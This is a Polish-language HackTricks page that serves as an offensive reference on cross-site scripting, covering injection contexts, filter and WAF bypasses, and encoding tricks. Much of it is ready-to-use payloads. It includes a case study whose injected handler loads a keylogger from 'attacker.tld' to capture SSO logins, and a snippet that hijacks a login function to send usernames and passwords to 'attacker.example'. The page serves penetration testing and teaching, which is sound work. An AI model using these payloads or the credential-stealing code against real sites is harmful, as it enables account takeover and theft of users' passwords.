XSS (Cross Site Scripting)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Metodologia

  1. Sprawdź, czy jakakolwiek wartość, którą kontrolujesz (parameters, path, headers?, cookies?) jest odbijana w HTML lub używana przez kod JS.
  2. Znajdź kontekst, w którym jest odbijane/używane.
  3. Jeśli odbijane
  4. Sprawdź jakich symboli możesz użyć i w zależności od tego przygotuj payload:
  5. W surowym HTML:
  6. Czy możesz tworzyć nowe tagi HTML?
  7. Czy możesz użyć eventów lub atrybutów wspierających protokół javascript:?
  8. Czy możesz obejść zabezpieczenia?
  9. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (AngularJS, VueJS, Mavo…), który możesz wykorzystać przez Client Side Template Injection.
  10. Jeśli nie możesz stworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać Dangling Markup - HTML scriptless injection?
  11. Wewnątrz atrybutu tagu HTML:
  12. Czy możesz uciec z atrybutu i z tagu (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania?
  13. Czy możesz uciec z atrybutu, ale nie z tagu (> jest zakodowane lub usuwane)? W zależności od tagu możesz stworzyć event, który wykona kod JS.
  14. Czy nie możesz uciec z atrybutu (" jest kodowane lub usuwane)? W zależności od którego atrybutu dotyczy odbicie oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł ją wykorzystać. Na przykład, jeśli kontrolujesz event taki jak onclick= możesz sprawić, że wykona on dowolny kod po kliknięciu. Innym ciekawym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: do wykonania kodu: href="javascript:alert(1)"
  15. Jeśli twoje inputy są odbijane wewnątrz “nieeksploatowalnych tagów”, możesz spróbować triku z accesskey by wykorzystać vuln (będzie potrzebny element social engineeringu): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Strona logowania SSO w korporacji odbijała parametr OAuth service wewnątrz atrybutu href elementu <a id="forgot_btn" ...>. Mimo że < i > były zakodowane w HTML, podwójne cudzysłowy nie były, więc atakujący mógł zamknąć atrybut i ponownie użyć tego samego elementu, by wstrzyknąć handlery typu " onfocus="payload" x=".

  1. Inject the handler: Proste payloady typu onclick="print(1)" były blokowane, ale WAF inspekcjonował tylko pierwsze wyrażenie JavaScript w inline attribute. Dodanie niewinnego wyrażenia w nawiasach, a następnie średnika, pozwoliło wykonać prawdziwy payload: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Przeglądarki fokusują element, którego id pasuje do fragmentu URL, więc dopisanie #forgot_btn do exploit URL wymusza fokus na anchorze przy załadowaniu strony i uruchamia handler bez kliknięcia.
  3. Keep the inline stub tiny: Cel miał już załadowane jQuery. Handler musiał jedynie zainicjować żądanie przez $.getScript(...), podczas gdy pełny keylogger był hostowany na serwerze atakującego.

Building strings without quotes

Pojedyncze cudzysłowy były zwracane URL-encoded, a escaped podwójne cudzysłowy psuły atrybut, więc payload generował każdy string za pomocą String.fromCharCode. Funkcja pomocnicza ułatwia konwersję dowolnego URL na kody znaków przed wklejeniem go do atrybutu:

Debugging Client Side JS

Odbijane wartości

Aby skutecznie wykorzystać XSS, pierwszą rzeczą, którą musisz znaleźć, jest wartość kontrolowana przez Ciebie, która jest odbijana na stronie.

  • Intermediately reflected: Jeśli odkryjesz, że wartość parametru lub nawet ścieżka jest odbijana na stronie, możesz wykorzystać Reflected XSS.
  • Stored and reflected: Jeśli znajdziesz, że wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest odbijana za każdym razem przy wejściu na stronę, możesz wykorzystać Stored XSS.
  • Accessed via JS: Jeśli wartość kontrolowana przez Ciebie jest odczytywana za pomocą JS, możesz wykorzystać DOM XSS.

Konteksty

Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest gdzie twój input jest odbijany. W zależności od kontekstu będziesz w stanie wykonać dowolny kod JS na różne sposoby.

Surowy HTML

Jeśli twój input jest odbijany w surowym HTML strony, będziesz musiał wykorzystać jakiś tag HTML, aby wykonać kod JS: <img , <iframe , <svg , <script … to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć. Również pamiętaj o Client Side Template Injection.

Wewnątrz atrybutu tagu HTML

Jeśli twój input jest odbijany wewnątrz wartości atrybutu tagu, możesz spróbować:

  1. Uciec z atrybutu i z tagu (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: "><img [...]

  2. Jeśli możesz uciec z atrybutu, ale nie z tagu (> jest zakodowane lub usuwane), w zależności od tagu możesz stworzyć event, który wykona kod JS: " autofocus onfocus=alert(1) x="

  3. Jeśli nie możesz uciec z atrybutu (" jest kodowane lub usuwane), to w zależności od którego atrybutu dotyczy odbicie oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł to wykorzystać. Na przykład, jeśli kontrolujesz event typu onclick= możesz sprawić, że wykona on dowolny kod po kliknięciu. Innym ciekawym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: do wykonania kodu: href="javascript:alert(1)"

  4. Jeśli twoje inputy są odbijane wewnątrz “nieeksploatowalnych tagów”, możesz spróbować triku z accesskey by wykorzystać vuln (będzie potrzebny element social engineeringu): " accesskey="x" onclick="alert(1)" x="

Wewnątrz tagu HTML

  1. Czy możesz wyjść do surowego kontekstu HTML?
  2. Czy możesz stworzyć nowe eventy/atrybuty, które uruchomią kod JS?
  3. Czy atrybut, w którym jesteś osadzony, wspiera wykonanie JS?
  4. Czy możesz obejść zabezpieczenia?

Wewnątrz kodu JavaScript

  1. Czy możesz uciec z tagu <script>?
  2. Czy możesz uciec ze stringa i wykonać inny kod JS?
  3. Czy twój input znajduje się w template literals ``?
  4. Czy możesz obejść zabezpieczenia?

Funkcja Javascript jest wykonywana

Możesz wskazać nazwę funkcji do wykonania. np.: ?callback=alert(1)

Jeśli używane przez JS:

  1. Możesz wykorzystać DOM XSS — zwróć uwagę, jak twój input jest kontrolowany i czy twój kontrolowany input jest używany przez jakiś sink.
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Ostateczny atrybut wyglądał następująco:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Dlaczego to kradnie poświadczenia

Zewnętrzny skrypt (loaded from an attacker-controlled host or Burp Collaborator) podczepił document.onkeypress, buforował naciśnięcia klawiszy i co sekundę wykonywał new Image().src = collaborator_url + keys. Ponieważ XSS uruchamia się tylko dla niezalogowanych użytkowników, wrażliwą akcją jest sam formularz logowania — attacker keylogs nazwy użytkowników i hasła nawet jeśli ofiara nigdy nie naciśnie “Login”.

Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Wewnątrz kodu JavaScript

W tym przypadku Twoje dane wejściowe są odzwierciedlane między <script> [...] </script> tagami strony HTML, wewnątrz pliku .js lub wewnątrz atrybutu używającego protokołu javascript::

  • Jeśli jest odzwierciedlane między <script> [...] </script> tagami, nawet jeśli Twoje dane wejściowe znajdują się wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć </script> i uciec z tego kontekstu. Działa to, ponieważ przeglądarka najpierw parsuje tagi HTML, a potem zawartość, więc nie zauważy, że wstrzyknięty tag </script> znajduje się w kodzie HTML.
  • Jeśli jest odzwierciedlane wewnątrz JS stringa i ostatni trik nie działa, będziesz musiał opuścić string, wykonać swój kod i odtworzyć kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Jeśli jest odzwierciedlane wewnątrz template literals możesz osadzić wyrażenia JS używając składni ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode encode works to write valid javascript code:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting odnosi się do możliwości zadeklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.
Sprawdź następującą stronę po więcej informacji:

JS Hoisting

Javascript Function

Wiele stron ma endpoints, które przyjmują jako parametr nazwę funkcji do wykonania. Powszechny przykład spotykany w praktyce to coś w stylu: ?callback=callbackFunc.

Dobry sposób, żeby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest wykonywane, to zmodyfikować wartość parametru (na przykład na ‘Vulnerable’) i poszukać w console błędów takich jak:

Jeśli jest podatne, możesz być w stanie uruchomić alert po prostu wysyłając wartość: ?callback=alert(1). Jednak bardzo często takie endpoints będą walidować zawartość, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]).

Jednak nawet przy tym ograniczeniu nadal możliwe jest wykonanie pewnych akcji. Dzieje się tak, ponieważ można użyć dozwolonych znaków, aby uzyskać dostęp do dowolnego elementu w DOM:

Niektóre przydatne funkcje do tego:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Możesz też spróbować bezpośrednio trigger Javascript functions: obj.sales.delOrders.

Jednak zazwyczaj endpointy wykonujące wskazaną funkcję to endpointy bez zbyt interesującego DOM; other pages in the same origin będą miały more interesting DOM do wykonania większej liczby akcji.

Dlatego, aby abuse this vulnerability in a different DOM opracowano exploitację Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Istnieje JS code które w sposób unsafely używa pewnych data controlled by an attacker, takich jak location.href. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.

DOM XSS

Universal XSS

Tego rodzaju XSS można znaleźć anywhere. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od any context. Tego rodzaju arbitrary JavaScript execution może być nawet wykorzystane do uzyskania RCE, read arbitrary files na klientach i serwerach, i więcej.
Some examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Kiedy twoje dane wejściowe są odzwierciedlane inside the HTML page lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, first rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć < do tworzenia nowych tagów: Po prostu spróbuj reflect tego char i sprawdź, czy jest HTML encoded lub deleted, albo czy jest reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Uwaga: Komentarz HTML można zamknąć używając****-->****lub **--!>**

W takim przypadku, i jeśli nie stosuje się black/whitelisting, możesz użyć payloads takich jak:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ale jeśli używane jest black/whitelisting tagów/atrybutów, będziesz musiał brute-force które tagi możesz utworzyć.
Gdy zlokalizujesz, które tagi są dozwolone, będziesz musiał brute-force atrybuty/zdarzenia wewnątrz znalezionych prawidłowych tagów, aby zobaczyć, jak możesz zaatakować kontekst.

Brute-force tagów/zdarzeń

Przejdź do https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknij na Copy tags to clipboard. Następnie wyślij je wszystkie używając Burp intruder i sprawdź, czy któryś z tagów nie został oznaczony jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz brute force all the events używając prawidłowych tagów (na tej samej stronie kliknij na Copy events to clipboard i postępuj tak samo jak wcześniej).

Niestandardowe tagi

Jeśli nie znalazłeś żadnego prawidłowego tagu HTML, możesz spróbować stworzyć niestandardowy tag i wykonać kod JS za pomocą atrybutu onfocus. W żądaniu XSS musisz zakończyć URL znakiem #, aby strona skupiła się na tym obiekcie i wykonała kod:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Jeśli używana jest jakaś blacklist, możesz spróbować ją obejść kilkoma sprytnymi sztuczkami:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Omijanie ograniczeń długości (małe XSSs)

[!NOTE] > Więcej małych payloadów XSS dla różnych środowisk można znaleźć tutaj i tutaj.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Ostatni używa 2 znaków unicode, które rozszerzają się do 5: telsr
Więcej takich znaków można znaleźć here.
Aby sprawdzić, na które znaki są dekomponowane, sprawdź here.

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

Impossible - Dangling Markup

If you just think that it’s impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Zdarzenia stylu

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

W atrybucie

Nawet jeśli nie możesz uciec z atrybutu (" jest kodowany lub usuwany), w zależności od którego atrybutu wartość jest odzwierciedlana oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz w stanie to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick= będziesz w stanie sprawić, że wykona ono dowolny kod po kliknięciu.
Innym interesującym przykładem jest atrybut href, gdzie możesz użyć protokołu javascript: do wykonania dowolnego kodu: href="javascript:alert(1)"

Ominięcie w zdarzeniu przy użyciu HTML encoding/URL encode

Te HTML encoded characters wewnątrz wartości atrybutów tagów HTML są dekodowane w czasie wykonywania. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Zauważ, że any kind of HTML encode is valid:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Zwróć uwagę, że URL encode również zadziała:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass wewnątrz eventu używając Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Specjalne protokoły w atrybucie

Możesz tam użyć protokołów javascript: lub data: w niektórych miejscach, aby wykonać dowolny kod JS. Niektóre będą wymagać interakcji użytkownika, inne nie.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Miejsca, w których można wstrzykiwać te protokoły

Ogólnie protokół javascript: może być użyty w dowolnym tagu, który akceptuje atrybut href oraz w większości tagów, które akceptują atrybut src (ale nie w <img>).

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Inne obfuscation tricks

W tym przypadku trik HTML encoding i Unicode encoding z poprzedniej sekcji również działa, ponieważ znajdujesz się wewnątrz atrybutu.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Co więcej, istnieje jeszcze jedna fajna sztuczka w takich przypadkach: Nawet jeśli twoje wejście wewnątrz javascript:... jest URL encoded, zostanie URL decoded zanim zostanie wykonane. Więc, jeśli musisz wydostać się z łańcucha znaków używając pojedynczego apostrofu i widzisz, że jest on URL encoded, pamiętaj, że to nie ma znaczenia, zostanie zinterpretowany jako pojedynczy apostrof w czasie wykonywania.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Zauważ, że jeśli spróbujesz użyć obu URLencode + HTMLencode w dowolnej kolejności, aby zakodować payload, to nie będzie działać, ale możesz mieszać je wewnątrz payloadu.

Używanie Hex i Octal encode z javascript:

Możesz użyć Hex i Octal encode wewnątrz atrybutu src elementu iframe (przynajmniej) aby zadeklarować tagi HTML uruchamiające JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Jeśli możesz wstrzyknąć dowolny URL w arbitralny <a href= tag, który zawiera atrybuty target="_blank" and rel="opener", sprawdź następującą stronę, aby wykorzystać to zachowanie:

Reverse Tab Nabbing

Omijanie event handlerów “on”

Najpierw sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pod kątem przydatnych “on” event handlers.
Jeśli istnieje jakaś lista blokująca uniemożliwiająca tworzenie tych event handlerów, możesz spróbować następujących obejść:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Z here teraz można wykorzystać hidden inputs za pomocą:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

A w meta tagach:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Z here: Możesz wykonać XSS payload inside a hidden attribute, o ile uda Ci się nakłonić ofiarę do wciśnięcia kombinacji klawiszy. W Firefox na Windows/Linux kombinacja to ALT+SHIFT+X, a na OS X to CTRL+ALT+X. Możesz określić inną kombinację, używając innego klawisza w atrybucie accesskey. Oto wektor:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload będzie czymś takim: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Kilka trików wykorzystujących różne encoding zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz ich użyć:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Read the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Read the JavaScript bypass blacklist of the following section.

CSS-Gadgets

Jeśli znalazłeś XSS w bardzo małej części strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń zajmowaną przez ten element, aby zmaksymalizować prawdopodobieństwo uruchomienia linku.

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Now you can modify our link and bring it to the form

<a href=“” id=someid class=test onclick=alert() a=“”>

This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Wstrzykiwanie wewnątrz kodu JavaScript

W tym przypadku Twoje wejście będzie odbijane wewnątrz kodu JS w pliku .js lub między tagami <script>...</script>, albo w eventach HTML, które mogą wykonywać kod JS, albo w atrybutach akceptujących protokół javascript:.

Escaping <script> tag

Jeśli Twój kod jest wstawiony wewnątrz <script> [...] var input = 'reflected data' [...] </script>, możesz łatwo ‘uciec’ poprzez zamknięcie tagu <script>:

</script><img src=1 onerror=alert(document.domain)>

Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego apostrofu. Dzieje się tak, ponieważ parsowanie HTML jest wykonywane najpierw przez przeglądarkę, co obejmuje identyfikację elementów strony, w tym bloków skryptów. Analiza JavaScript w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.

Inside JS code

Jeśli <> są sanitizowane, nadal możesz uciec z ciągu znaków w miejscu, gdzie znajduje się twój input, i wykonać dowolny JS. Ważne jest, aby poprawić składnię JS, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Gdy dane użytkownika trafiają do quoted JavaScript string (np. server-side echo into an inline script), możesz zakończyć string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w ciągu JS:

?param=test";<INJECTION>;a="

To wykonuje kod JS atakującego bez konieczności ingerowania w kontekst HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.

Template literals ``

Aby skonstruować strings, oprócz single i double quotes, JS akceptuje też backticks ``. Jest to znane jako template literals, ponieważ umożliwiają embedded JS expressions przy użyciu składni ${ ... }.
W związku z tym, jeśli zauważysz, że Twój input jest reflected wewnątrz JS string używającego backticks, możesz nadużyć składni ${ ... }, by wykonać arbitrary JS code:

This can be abused using:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Wykonanie zakodowanego kodu

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Dostarczalne payloads z eval(atob()) i niuanse związane z zakresem

Aby skrócić adresy URL i obejść naiwne filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą eval(atob('...')). Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak alert, eval, lub atob, użyj identyfikatorów zapisanych w formie Unicode-escape, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące ciągi znaków:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Ważna uwaga dotycząca zakresu: const/let zadeklarowane wewnątrz eval() mają zasięg blokowy i NIE tworzą zmiennych globalnych; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu <script> aby zdefiniować globalne, non-rebindable hooks, gdy to konieczne (e.g., to hijack a form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referencja: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Wykonanie JS przez kodowanie Unicode

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists techniki

Stringi

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Specjalne sekwencje ucieczki

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zamiany spacji w kodzie JS

<TAB>
/**/

JavaScript comments (z JavaScript Comments triku)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (z JavaScript new line trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Białe znaki w JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
